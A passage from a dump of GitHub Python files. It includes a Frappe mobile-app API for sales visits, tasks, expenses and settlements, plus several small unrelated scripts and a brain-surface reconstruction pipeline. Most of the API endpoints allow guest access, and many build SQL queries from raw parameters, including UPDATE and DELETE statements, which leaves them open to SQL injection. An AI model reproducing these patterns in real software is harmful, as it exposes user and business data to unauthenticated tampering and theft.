\"password\": user[\"password\"],\n# \"token\": user[\"token\"],\n# \"mobile_number\": user[\"mobile_number\"],\n# \"address\": user[\"address\"],\n# }\n# break\n\n# if user_data:\n# return frappe.as_json(\n# {\n# \"customer_name\": customer_name,\n# \"is_active\": is_active,\n# \"user_data\": user_data,\n# }\n# )\n# else:\n# raise ValueError(\"Invalid email or password\")\n# else:\n# raise ValueError(\"Failed\")\n\n\n######################################################\n@frappe.whitelist(allow_guest=True)\ndef get_counts():\n unplanned = frappe.get_value(\n \"Opportunity\", filters={\"status_plan\": \"Unplanned\"}, fieldname=\"count(*)\"\n )\n cancelled = frappe.get_value(\n \"Opportunity\", filters={\"status_plan\": \"Cancelled\"}, fieldname=\"count(*)\"\n )\n response = {\n \"unplanned_opportunity_count\": unplanned,\n \"cancelled_opportunity_count\": cancelled,\n }\n return response\n\n\n###################################################\n@frappe.whitelist(allow_guest=True)\ndef get_status_percentages(transaction_date, lead_owner):\n closed_count = frappe.get_value(\n \"Opportunity\",\n filters={\n \"transaction_date\": transaction_date,\n \"lead_owner\": lead_owner,\n \"status\": \"Closed\",\n },\n fieldname=\"count(*)\",\n )\n in_progress_count = frappe.get_value(\n \"Opportunity\",\n filters={\n \"transaction_date\": transaction_date,\n \"lead_owner\": lead_owner,\n \"status\": \"Open\",\n },\n fieldname=\"count(*)\",\n )\n open_count = frappe.get_value(\n \"Opportunity\",\n filters={\n \"transaction_date\": transaction_date,\n \"lead_owner\": lead_owner,\n \"status\": \"Open\",\n },\n fieldname=\"count(*)\",\n )\n\n total_count = closed_count + in_progress_count + open_count\n\n completed_percentage = (closed_count / total_count) * 100\n in_progress_percentage = (in_progress_count / total_count) * 100\n incomplete_percentage = (open_count / total_count) * 100\n\n response = {\n \"completed_percentage\": completed_percentage,\n \"in_progress_percentage\": in_progress_percentage,\n \"incomplete_percentage\": incomplete_percentage,\n }\n\n return response\n\n\n############## TASK ###################################\n### get info of all tasks of one representative\n# @frappe.whitelist(allow_guest=True)\n# def get_all_tasks(status, representative):\n# tasks = frappe.db.sql(\n# f\"\"\" SELECT name,subject,representative,type,priority,expected_time,exp_start_date,exp_end_date,status,description FROM `tabTask` WHERE status='{status}' and representative = '{representative}';\"\"\",\n# as_dict=True,\n# )\n\n# try:\n# frappe.db.commit()\n# return tasks\n# except Exception as B:\n# frappe.log_error(\"Failed to Return all Tasks: {0}\".format(B))\n# frappe.db.rollback()\n# return \"Failed to Return all Tasks\"\n\n\n@frappe.whitelist(allow_guest=True)\ndef get_all_todo(status, owner):\n tasks = frappe.db.sql(\n f\"\"\" SELECT name,date,owner,reference_type,priority,status FROM `tabToDo` WHERE status='{status}' and owner = '{owner}';\"\"\",\n as_dict=True,\n )\n\n try:\n frappe.db.commit()\n return tasks\n except Exception as B:\n frappe.log_error(\"Failed to Return all Tasks: {0}\".format(B))\n frappe.db.rollback()\n return \"Failed to Return all Tasks\"\n\n\n### add new task\n@frappe.whitelist(allow_guest=True)\ndef add_new_todo(\n owner,\n date,\n status,\n priority,\n reference_type,\n description,\n # attach_files\n):\n \"\"\"\n priorty : Low,Medium,High\n date format : yyyy/mm/dd\n \"\"\"\n new_task = frappe.get_doc(\n {\n \"doctype\": \"ToDo\",\n \"owner\": owner,\n \"date\": date,\n \"status\": status,\n \"priority\": priority,\n \"reference_type\": reference_type,\n \"description\": description,\n }\n )\n new_task.db_insert()\n try:\n frappe.db.commit()\n return \"Task Created \"\n except Exception as B:\n frappe.log_error(\"Failed to Create New Task: {0}\".format(B))\n frappe.db.rollback()\n return \"Failed to Create New Task\"\n\n\n#### update status of task\n@frappe.whitelist(allow_guest=True)\ndef update_task_status(name, status):\n frappe.db.sql(f\"\"\"UPDATE `tabToDo` SET status='{status}' WHERE name='{name}';\"\"\")\n try:\n frappe.db.commit()\n return \"Task Updated\"\n except Exception as F:\n frappe.log_error(\"failed to update the status :{0}\".format(F))\n frappe.db.rollback()\n return \"failed to update the status\"\n\n\n#### Delete task\n@frappe.whitelist(allow_guest=True)\ndef delete_task(name):\n frappe.db.sql(f\"\"\"DELETE FROM `tabToDo` WHERE name='{name}'\"\"\")\n try:\n frappe.db.commit()\n return \"Task Deleted\"\n except Exception as F:\n frappe.log_error(\"failed to delete the task\".format(F))\n return \"failed to delete the task\"\n\n\n########################### VACATION ############################################################\n@frappe.whitelist(allow_guest=True)\ndef get_vacations(employee_name):\n vacation = frappe.db.sql(\n f\"\"\"SELECT employee,employee_name,leave_type,from_date,to_date,total_leave_days,status,description, leave_approver FROM `tabLeave Application` WHERE employee_name='{employee_name}';\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return vacation\n except Exception as F:\n frappe.log_error(\"failed to get vacations\".format(F))\n return \"failed to get all vacations\"\n\n\n################################### Clients ####################################################\n# Two Endpoints :- 2-Get each client information ########################################\n\n\n# 1-Get all clients(Doctors)\n@frappe.whitelist(allow_guest=True)\ndef get_all_clients():\n clients = frappe.get_all(\"Lead\", fields=[\"lead_name\", \"medical_specialty\"])\n try:\n frappe.db.commit()\n return clients\n except Exception as H:\n frappe.log_error(\"Failed to get all clients: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get all clients\"\n\n\n## put location of client --Note\n# 2-Get each client information\n@frappe.whitelist(allow_guest=True)\ndef get_client_details(lead_name):\n client = frappe.db.sql(\n f\"\"\"SELECT lead_name,medical_specialty,mobile_no,email_id,location FROM `tabLead` WHERE lead_name='{lead_name}';\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return client\n except Exception as H:\n frappe.log_error(\"Failed to get this client: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get client info\"\n\n\n######################### POC #########################################################\n@frappe.whitelist(allow_guest=True)\ndef get_poc(address):\n poc = frappe.db.sql(\n f\"\"\"SELECT address,client_name,poc,frequency,medical_specialty FROM `tabPOC` WHERE address='{address}';\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return poc\n except Exception as H:\n frappe.log_error(\"Failed to get POC: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get POC\"\n\n\n############################## Activity #################################################\n## Get Activities\n\n\n@frappe.whitelist(allow_guest=True)\ndef get_activities(expense_type, employee):\n activity = frappe.db.sql(\n f\"\"\"SELECT employee,expense_type,employee_name,status,advance_amount,posting_date,client, purpose FROM `tabEmployee Advance` WHERE expense_type='{expense_type}' and employee='{employee}';\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return activity\n except Exception as H:\n frappe.log_error(\"Failed to get all activities: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get all activities\"\n\n\n## POST Activity or Expense #########################################\n@frappe.whitelist(allow_guest=True)\ndef new_activity(\n employee,\n expense_type,\n advance_amount,\n lead,\n purpose,\n exchange_rate,\n advance_account,\n):\n \"\"\"\n status : Approved,Rejected,Draft\n date format : YYYY-MM-DD\n \"\"\"\n\n try:\n if not frappe.db.exists(\"Lead\", lead):\n return \"Lead not found\"\n if not frappe.db.exists(\"Employee\", employee):\n return \"Employee not found\"\n\n new_activity = frappe.get_doc(\n {\n \"doctype\": \"Employee Advance\",\n \"employee\": employee,\n \"expense_type\": expense_type,\n \"advance_amount\": advance_amount,\n \"lead\": lead,\n \"purpose\": purpose,\n \"exchange_rate\": 1.0,\n \"advance_account\": advance_account,\n }\n )\n new_activity.insert()\n frappe.db.commit()\n return \"activity created\"\n except Exception as e:\n frappe.log_error(\"failed to create new activity :{0}\".format(e))\n frappe.db.rollback()\n return \"failed to create new activity\"\n\n\n############### Expenses ##################################################\n# Get all expenses\n@frappe.whitelist(allow_guest=True)\ndef get_expenses(employee, expense_type):\n expense = frappe.db.sql(\n f\"\"\"SELECT employee,expense_type,employee_name,status,advance_amount,posting_date,client, purpose FROM `tabEmployee Advance` WHERE expense_type='{expense_type}' and employee='{employee}';\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return expense\n except Exception as H:\n frappe.log_error(\"Failed to get all expenses: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get expenses\"\n\n\n################### Settlement ###############################################\n\n\n############### Test Add settlement ####################\n##1-\n@frappe.whitelist(allow_guest=True)\ndef add_expense_claim(employee, expense_approver, posting_date):\n try:\n doc = frappe.new_doc(\"Expense Claim\")\n doc.employee = employee\n doc.expense_approver = expense_approver\n doc.posting_date = posting_date\n doc_child = {\n \"expenses\": [\n {\n \"expense_type\": \"Activity\",\n \"amount\": 50.0,\n \"sanctioned_amount\": 50.0,\n \"payable_account\": \"Creditors - A\",\n }\n ]\n }\n doc.set(\"expenses\", [])\n for expense in doc_child:\n doc.append(\"expenses\", expense)\n doc.insert(ignore_permissions=True)\n frappe.db.commit()\n doc_name = str(doc.name)\n return {\"success\": True, \"document_name\": doc_name}\n except Exception as e:\n frappe.log_error(title=\"post new expense claim\", message=e)\n return {\"failed \": False, \"message\": str(e)}\n\n\n##2-######### Second Try ###################################\n@frappe.whitelist(allow_guest=True)\ndef add_expense_claims(employee, expense_approver, posting_date):\n try:\n doc_child = {\n \"expenses\": [\n {\n \"expense_type\": \"Activity\",\n \"amount\": 50.0,\n \"sanctioned_amount\": 50.0,\n }\n ]\n }\n doc = frappe.new_doc(\"Expense Claim\")\n doc.employee = employee\n doc.expense_approver = expense_approver\n doc.posting_date = posting_date\n doc.expenses = doc_child\n doc.insert(ignore_permissions=True)\n frappe.db.commit()\n doc_name = doc.name\n return {\"success\": True, \"document_name\": doc_name}\n except Exception as e:\n frappe.log_error(title=\"post new expense claim\", message=e)\n return {\"failed \": False, \"message\": str(e)}\n\n\n#################### update settlement status ###########################\n@frappe.whitelist(allow_guest=True)\ndef update_settlement_status(expense_claim_name, approval_status, is_paid, status):\n expense_claim = frappe.get_doc(\"Expense Claim\", expense_claim_name)\n expense_claim.approval_status = approval_status\n expense_claim.is_paid = is_paid\n expense_claim.status = status\n try:\n expense_claim.save()\n return {\"success\": True, \"message\": f\"{expense_claim_name} status updated\"}\n except Exception as H:\n frappe.log_error(\"Cannot Postpone : {0}\".format(H))\n frappe.db.rollback()\n return {\"failed \": False, \"message\": str(H)}\n\n\n################### TEST Update status of settlement###################################\n@frappe.whitelist(allow_guest=True)\ndef update_expense_status(docname):\n try:\n doc = frappe.get_doc(\"Expense Claim\", docname)\n doc.status = \"Paid\"\n doc.save(ignore_permissions=True)\n frappe.db.commit()\n return {\"success\": True, \"message\": \"Expense claim status updated to paid\"}\n except Exception as k:\n frappe.log_error(title=\"Update Expense Claim Status\", message=k)\n return {\"success\": False, \"message\": str(k)}\n\n\n################ Get settlements per employee #############################\n@frappe.whitelist(allow_guest=True)\ndef get_settlements(employee, status=None):\n settlements = frappe.get_all(\n \"Expense Claim\",\n filters={\"employee\": employee, \"status\": status},\n fields=[\"employee\", \"expense_type\", \"status\", \"total_claimed_amount\"],\n )\n try:\n frappe.db.commit()\n return {\"success\": True, \"data\": settlements}\n except Exception as H:\n frappe.log_error(\"Failed to get settlements: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to settlements\"\n\n\n########### Get more details Settlements #####################################\n@frappe.whitelist(allow_guest=True)\ndef get_settlement_detail(employee, name, status=None):\n settlement = frappe.db.sql(\n f\"\"\"SELECT employee,employee_name,expense_type , approval_status,is_paid,\n total_claimed_amount,total_advance_amount,posting_date \n from `tabExpense Claim` WHERE employee='{employee}' and name='{name}';\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return settlement\n except Exception as H:\n frappe.log_error(\"Failed to get details: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get details\"\n\n\n####################### CLM On Visit ################################################\n@frappe.whitelist(allow_guest=True)\ndef get_representative(lead_owner):\n leads = frappe.get_all(\n \"Lead\",\n filters={\"lead_owner\": lead_owner},\n fields=[\"lead_name\", \"medical_specialty\"],\n )\n try:\n frappe.db.commit()\n return {\"success\": True, \"data\": leads}\n except Exception as H:\n frappe.log_error(\"Failed to get Representative Leads: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get Representative Leads\"\n\n\n##################### Product #################################################\n@frappe.whitelist(allow_guest=True)\ndef get_product_bundle_items(product_bundle_name):\n items = frappe.get_all(\n \"Product Bundle Item\",\n filters={\"parent\": product_bundle_name},\n fields=[\"item_code\", \"image\"],\n )\n results = []\n\n for item in items:\n item_code = item.item_code\n image = item.image\n\n result = {\"item_code\": item_code, \"image\": image}\n results.append(result)\n\n return {\"success\": True, \"data\": results}\n\n\n#####################################################################################\n@frappe.whitelist(allow_guest=True)\ndef get_opportunity_content(opportunity_name):\n opportunity = frappe.get_doc(\n \"Opportunity\",\n opportunity_name,\n fields=[\"party_name\", \"customer_name\", \"status\"],\n )\n\n if opportunity.include_clm:\n product_bundle = frappe.get_doc(\"Product Bundle\", opportunity.product_bundle)\n bundle_content = product_bundle.get(\"items\")\n content_data = []\n for item in bundle_content:\n content_data.append({\"item_code\": item.item_code, \"image\": item.image})\n return {\"data\": content_data}\n\n else:\n return {\"data\": []}\n\n\n####################### Get All Product Bundles ########################\n@frappe.whitelist(allow_guest=True)\ndef get_opportunity_contents():\n opportunity_info = frappe.db.sql(\n \"\"\"SELECT si.name,si.party_name,mi.item_code,mi.image FROM `tabOpportunity` AS si JOIN `tabProduct Bundle Item` AS mi ON mi.parent = si.name ;\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return opportunity_info\n except Exception as H:\n frappe.log_error(\"Failed to get details: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get details\"\n\n\n########## get all opportunity ############################################\n@frappe.whitelist(allow_guest=True)\ndef get_opportunities_by_lead_owner(lead_owner):\n start_date = datetime.now() - timedelta(days=7)\n\n opportunities = frappe.get_all(\n \"Opportunity\",\n filters={\"creation\": [\">=\", start_date], \"lead_owner\": lead_owner},\n fields=[\"name\", \"status_plan\"],\n )\n\n return opportunities\n\n\n################### add feedback ##########################################\n@frappe.whitelist(allow_guest=True)\ndef update_to_discuss(opportunity_name, to_discuss):\n try:\n opportunity = frappe.get_doc(\"Opportunity\", opportunity_name)\n\n if not opportunity:\n return {\"success\": False, \"message\": \"Opportunity not found\"}\n\n opportunity.to_discuss = to_discuss\n opportunity.save()\n\n return {\"success\": True, \"message\": \"to_discuss field updated successfully\"}\n except Exception as e:\n frappe.log_error(\"Failed to update to_discuss field\", title=\"Update to_discuss\")\n return {\"success\": False, \"message\": str(e)}\n\n\n#\n# ################### Visit #################################\n# Postpone visit Update Method ###\n@frappe.whitelist(allow_guest=True)\ndef update_visit(opportunity_name, contact_date, to_discuss):\n opportunity = frappe.get_doc(\"Opportunity\", opportunity_name)\n opportunity.transaction_date = contact_date\n opportunity.to_discuss = to_discuss\n try:\n opportunity.save()\n return {\"success\": True, \"message\": f\"Opportunity {opportunity_name} postponed\"}\n except Exception as H:\n frappe.log_error(\"Cannot Postpone : {0}\".format(H))\n frappe.db.rollback()\n return \"Cannot Postpone\"\n\n\n###################### unplanned visit ###############################\n\n\n@frappe.whitelist(allow_guest=True)\ndef add_unplanned_visit(\n opportunity_from, title, party_name, status, contact_date, to_discuss, status_plan\n):\n \"\"\"\n date format : yyyy-mm-dd\n\n \"\"\"\n unplanned_visit = frappe.get_doc(\n {\n \"doctype\": \"Opportunity\",\n \"opportunity_from\": opportunity_from,\n \"title\": title,\n \"party_name\": party_name,\n \"contact_date\": contact_date,\n \"status\": status,\n \"status_plan\": status_plan,\n \"to_discuss\": to_discuss,\n }\n )\n unplanned_visit.db_insert()\n try:\n frappe.db.commit()\n return \" Created \"\n except Exception as H:\n frappe.log_error(\"Failed to Create : {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to Create\"\n\n\n######################### GET Unplanned visits ################################################\n@frappe.whitelist(allow_guest=True)\ndef get_unplanned_visits(status_plan):\n unplanned_visits = frappe.get_all(\n \"Opportunity\",\n filters={\"status_plan\": status_plan},\n fields=[\"customer_name\", \"medical_specialty\"],\n )\n try:\n frappe.db.commit()\n return {\"success\": True, \"data\": unplanned_visits}\n except Exception as H:\n frappe.log_error(\"Failed to get Unplanned visits: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get Unplanned visits\"\n\n\n################### GET Uncovered visits #################################################\n# @frappe.whitelist(allow_guest=True)\n# def get_uncovered_doctors():\n\n\n############################ Sales ###################################\n\n\n@frappe.whitelist(allow_guest=True)\ndef get_sales_info_with_medicine():\n sales_info = frappe.db.sql(\n \"\"\"SELECT si.account_type,si.distributors_type,si.distribution_places,si.from_date,si.to_date,si.total_unit,si.total_value,si.target_value,mi.item,mi.quantity,mi.rate FROM `tabSales Info` AS si JOIN `tabMedicine Item` AS mi ON mi.parent = si.name ;\"\"\",\n as_dict=True,\n )\n try:\n frappe.db.commit()\n return sales_info\n except Exception as H:\n frappe.log_error(\"Failed to get details: {0}\".format(H))\n frappe.db.rollback()\n return \"Failed to get details\"\n","repo_name":"mohamed-baio/Mobile-APP","sub_path":"APIs final.py","file_name":"APIs final.py","file_ext":"py","file_size_in_byte":26313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40957691038","text":"import hashlib\nfrom pathlib import Path\n\n_cache = {}\n\n\ndef clear_asset_filename_cache():\n _cache.clear()\n\n\ndef get_asset_filename(path):\n path = Path(path).resolve()\n if path in _cache:\n return _cache[path]\n if not path.exists():\n _cache[path] = \"unknown.png\"\n return \"unknown.png\"\n with path.open(\"rb\") as f:\n result = f'{path.parent.relative_to(Path(\"assets\").resolve()).as_posix()}/{path.stem}.{hashlib.sha256(f.read()).hexdigest()[:8]}{path.suffix}'\n result = result.split(\"/\", 1)[1]\n _cache[path] = result\n return result\n","repo_name":"qwewqa/miyu-bot","sub_path":"miyu_bot/commands/common/asset_paths.py","file_name":"asset_paths.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"5"} +{"seq_id":"25925941357","text":"import socket\n\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((\"localhost\", 9090))\n\nwhile True:\n message = (sock.recv(4000)).decode()\n print('server: ', message)\n message = input(\"Me: \")\n sock.send(message.encode())\n\n","repo_name":"Baral-Chief-of-Compliance/socket_client_server","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18818407213","text":"from inference_engine import decide_crop_engine, decide_crop_engine_v2\n\n\nprint(\"Cron Recommendation\")\nprint(\"===================\")\n\n# Take input from user\ntemperature = int(input(\"Enter average temperature (°C): \"))\nrainfall = int(input(\"Enter average rainfall (mm): \"))\nsoil_type = input(\"Enter soil type (loamy, clay or sandy): \")\n\n# Call the decision making function\ncrop = decide_crop_engine_v2(temperature, rainfall, soil_type)\n\n# Print the recommended crop\nprint(\"We recommend you to grow\", \",\".join(crop))\n","repo_name":"chhsambo/crop-wheat-rice-corn","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"9515537175","text":"import os\nimport sys\nimport json\nimport argparse\nimport shutil\nfrom pathlib import Path\nfrom multiprocessing import Pool, Process, Lock\nimport logging\nimport subprocess\n\nimport numpy as np\nimport sh\nimport ants\nfrom scipy.ndimage import binary_fill_holes, binary_dilation\n\n\ndef set_environ():\n # FreeSurfer\n freesurfer_home = os.environ.get('FREESURFER_HOME')\n if freesurfer_home is None:\n os.environ['FREESURFER_HOME'] = '/usr/local/freesurfer'\n os.environ['PATH'] = '/usr/local/freesurfer/bin:/usr/local/freesurfer/mni/bin:' + os.environ['PATH']\n # nnUNet\n fastcsr_path = Path(os.path.split(__file__)[0])\n os.environ['RESULTS_FOLDER'] = str(fastcsr_path / 'model' / 'nnUNet_trained_models')\n # for nighres\n if os.environ.get('LD_LIBRARY_PATH') is None:\n os.environ['LD_LIBRARY_PATH'] = \\\n '/usr/lib/jvm/java-11-openjdk-amd64/lib:/usr/lib/jvm/java-11-openjdk-amd64/lib/server'\n else:\n os.environ['LD_LIBRARY_PATH'] = \\\n '/usr/lib/jvm/java-11-openjdk-amd64/lib:/usr/lib/jvm/java-11-openjdk-amd64/lib/server:' \\\n + os.environ['LD_LIBRARY_PATH']\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--sid', required=True, help='Subject ID for directory inside $SUBJECTS_DIR to be created')\n parser.add_argument('--t1', help=\"The input T1 file path\")\n parser.add_argument('--sd', default=os.environ.get('SUBJECTS_DIR'),\n help='Output directory $SUBJECTS_DIR (pass via environment or here)')\n parser.add_argument('--parallel_scheduling', default='on', choices=['on', 'off'],\n help=\"Whether to enable parallel scheduling for shortening processing time\")\n parser.add_argument('--optimizing_surface', default='on', choices=['on', 'off'],\n help='Whether to enable optimizing the white surface position')\n parser.add_argument('--pial', default=False, action='store_true', help=\"Whether to generate pial surface\")\n parser.add_argument('--verbose', default=False, action='store_true', help=\"Whether to output detailed log\")\n\n args = parser.parse_args()\n if args.sd is None:\n raise ValueError('Subjects dir need to set via $SUBJECTS_DIR environment or --sd parameter')\n else:\n os.environ['SUBJECTS_DIR'] = args.sd\n subj_dir = Path(args.sd) / args.sid\n if not os.path.exists(subj_dir) and args.t1 is None:\n raise ValueError(f'{subj_dir} is not exists and --t1 is None, please check.')\n args_dict = vars(args)\n if args_dict['parallel_scheduling'] == 'on':\n args_dict['parallel_scheduling'] = True\n else:\n args_dict['parallel_scheduling'] = False\n if args_dict['optimizing_surface'] == 'on':\n args_dict['optimizing_surface'] = True\n else:\n args_dict['optimizing_surface'] = False\n args = argparse.Namespace(**args_dict)\n\n return args\n\n\ndef config_logging(file_name=None, console_level=logging.INFO, file_level=logging.DEBUG):\n format = '[%(levelname)s] %(asctime)s PID: %(process)d %(filename)s %(message)s'\n datefmt = '%Y-%m-%d %H:%M:%S'\n handlers = list()\n if file_name is not None:\n file_handler = logging.FileHandler(file_name, mode='a', encoding=\"utf8\")\n file_handler.setFormatter(logging.Formatter(fmt=format, datefmt=datefmt))\n file_handler.setLevel(file_level)\n handlers.append(file_handler)\n\n console_handler = logging.StreamHandler(sys.stdout)\n console_handler.setFormatter(logging.Formatter(fmt=format, datefmt=datefmt))\n console_handler.setLevel(console_level)\n handlers.append(console_handler)\n\n if file_name is not None:\n log_level = min(console_level, file_level)\n else:\n log_level = console_level\n logging.basicConfig(level=log_level, handlers=handlers)\n logging.info('Please cite the following paper when using FastCSR:\\n****************************************')\n\n\ndef log_msg(msg, lock, level):\n if level == logging.INFO:\n if lock is not None:\n with lock:\n logging.info(msg)\n else:\n logging.info(msg)\n elif level == logging.ERROR:\n if lock is not None:\n with lock:\n logging.error(msg)\n else:\n logging.error(msg)\n\n\ndef create_filled(args, lock=None):\n # prepare input\n subj_dir = Path(args.sd) / args.sid\n\n input_path = subj_dir / 'tmp' / 'filled' / 'tmp_input'\n output_path = subj_dir / 'tmp' / 'filled' / 'tmp_output'\n input_path.mkdir(parents=True, exist_ok=True)\n output_path.mkdir(parents=True, exist_ok=True)\n\n orig = ants.image_read(str(subj_dir / 'mri' / 'orig.mgz'))\n ants.image_write(orig, str(input_path / f'{args.sid}_0000.nii.gz'))\n # nnUNet-based segmentation to create filled file\n cmd = f'nnUNet_predict -m 3d_fullres -tr nnUNetTrainerV2 -t 601 -chk final -i {input_path} -o {output_path}'.split()\n ret = subprocess.run(cmd, stdout=subprocess.DEVNULL)\n if ret.returncode == 0:\n msg = 'Filled segmentation model inference completed.'\n log_msg(msg, lock, logging.INFO)\n else:\n msg = 'Filled segmentation model inference failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n # convert segmentation label to FreeSurfer filled label\n filled = ants.image_read(str(output_path / f'{args.sid}.nii.gz'))\n filled_np = filled.numpy()\n filled_np[filled_np == 1] = 127\n filled_np[filled_np == 2] = 255\n filled_pred = ants.from_numpy(filled_np, filled.origin, filled.spacing, filled.direction)\n ants.image_write(filled_pred, str(subj_dir / 'mri' / 'filled.mgz'))\n shutil.rmtree(subj_dir / 'tmp' / 'filled')\n msg = 'The mri/filled.mgz file has been generated.'\n log_msg(msg, lock, logging.INFO)\n\n\ndef create_aseg_presurf(args, lock=None):\n # prepare input\n subj_dir = Path(args.sd) / args.sid\n\n input_path = subj_dir / 'tmp' / 'aseg_presurf' / 'tmp_input'\n output_path = subj_dir / 'tmp' / 'aseg_presurf' / 'tmp_output'\n input_path.mkdir(parents=True, exist_ok=True)\n output_path.mkdir(parents=True, exist_ok=True)\n\n orig = ants.image_read(str(subj_dir / 'mri' / 'orig.mgz'))\n ants.image_write(orig, str(input_path / f'{args.sid}_0000.nii.gz'))\n # nnUNet-based segmentation to create filled file\n cmd = f'nnUNet_predict -m 3d_fullres -tr nnUNetTrainerV2 -t 602 -chk final -i {input_path} -o {output_path}'.split()\n ret = subprocess.run(cmd, stdout=subprocess.DEVNULL)\n if ret.returncode == 0:\n msg = 'Aseg_presurf segmentation model inference completed.'\n log_msg(msg, lock, logging.INFO)\n else:\n msg = 'Aseg_presurf segmentation model inference failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n # convert segmentation label to FreeSurfer aseg.presurf label\n aseg_presurf = ants.image_read(str(output_path / f'{args.sid}.nii.gz'))\n aseg_presurf_np = aseg_presurf.numpy()\n fastcsr_path = Path(os.path.split(__file__)[0])\n with open(fastcsr_path / 'model' / 'aseg_label_trans.json') as jf:\n label2aseg = json.load(jf)['label2aseg']\n aseg_pred_np = np.zeros_like(aseg_presurf_np)\n for label in label2aseg:\n aseg_pred_np[aseg_presurf_np == int(label)] = label2aseg[label]\n aseg_presurf_pred = ants.from_numpy(aseg_pred_np, aseg_presurf.origin, aseg_presurf.spacing,\n aseg_presurf.direction)\n ants.image_write(aseg_presurf_pred, str(subj_dir / 'mri' / 'aseg.presurf.mgz'))\n shutil.rmtree(subj_dir / 'tmp' / 'aseg_presurf')\n msg = 'The mri/aseg.presurf.mgz file has been generated.'\n log_msg(msg, lock, logging.INFO)\n\n\ndef create_brainmask(args, lock=None):\n subj_dir = Path(args.sd) / args.sid\n aseg_presurf = ants.image_read(str(subj_dir / 'mri' / 'aseg.presurf.mgz'))\n aseg_presurf = ants.iMath_get_largest_component(aseg_presurf)\n aseg_presurf_np = aseg_presurf.numpy()\n brain_mask = aseg_presurf_np.astype(bool)\n brain_mask = binary_fill_holes(brain_mask)\n brain_mask = binary_dilation(brain_mask, iterations=5)\n brain_mask = binary_fill_holes(brain_mask)\n brain_mask = brain_mask.astype(np.float32)\n brainmask = ants.from_numpy(brain_mask, aseg_presurf.origin, aseg_presurf.spacing, aseg_presurf.direction)\n ants.image_write(brainmask, str(subj_dir / 'mri' / 'brainmask.mgz'))\n msg = 'The mri/brainmask.mgz file has been generated.'\n log_msg(msg, lock, logging.INFO)\n\n\ndef create_levelset(args, lock=None):\n fastcsr_path = Path(os.path.split(__file__)[0])\n cmd_pool = list()\n cmd = f\"python3 {fastcsr_path / 'fastcsr_model_infer.py'} --fastcsr_subjects_dir {args.sd} --subj {args.sid} --hemi lh\".split()\n cmd_pool.append(cmd)\n cmd = f\"python3 {fastcsr_path / 'fastcsr_model_infer.py'} --fastcsr_subjects_dir {args.sd} --subj {args.sid} --hemi rh\".split()\n cmd_pool.append(cmd)\n if args.parallel_scheduling:\n lh_process = subprocess.Popen(cmd_pool[0], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)\n rh_process = subprocess.Popen(cmd_pool[1], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)\n lh_retcode = lh_process.wait()\n rh_retcode = rh_process.wait()\n if lh_retcode != 0 or rh_retcode != 0:\n msg = 'Levelset regression model inference failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n else:\n for cmd in cmd_pool:\n ret = subprocess.run(cmd, stdout=subprocess.DEVNULL)\n if ret.returncode != 0:\n msg = 'Levelset model regression inference failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n msg = 'Levelset model regression inference completed.'\n log_msg(msg, lock, logging.INFO)\n\n\ndef levelset2surf(args, lock=None, surfix='orig'):\n fastcsr_path = Path(os.path.split(__file__)[0])\n cmd_pool = list()\n cmd = f\"python3 {fastcsr_path / 'levelset2surf.py'} --fastcsr_subjects_dir {args.sd} --subj {args.sid} --hemi lh --suffix {surfix}\".split()\n cmd_pool.append(cmd)\n cmd = f\"python3 {fastcsr_path / 'levelset2surf.py'} --fastcsr_subjects_dir {args.sd} --subj {args.sid} --hemi rh --suffix {surfix}\".split()\n cmd_pool.append(cmd)\n if args.parallel_scheduling:\n lh_process = subprocess.Popen(cmd_pool[0], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)\n rh_process = subprocess.Popen(cmd_pool[1], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)\n lh_retcode = lh_process.wait()\n rh_retcode = rh_process.wait()\n if lh_retcode != 0 or rh_retcode != 0:\n msg = 'Surface generation failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n else:\n for cmd in cmd_pool:\n ret = subprocess.run(cmd, stdout=subprocess.DEVNULL)\n if ret.returncode != 0:\n msg = 'Surface generation failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n msg = 'Surface generation completed.'\n log_msg(msg, lock, logging.INFO)\n\n\ndef create_brain_finalsurfs(args, lock=None):\n fastcsr_path = Path(os.path.split(__file__)[0])\n cmd = f\"python3 {fastcsr_path / 'brain_finalsurfs_model_infer.py'} --fastcsr_subjects_dir {args.sd} --subj {args.sid}\".split()\n ret = subprocess.run(cmd, stdout=subprocess.DEVNULL)\n if ret.returncode == 0:\n msg = 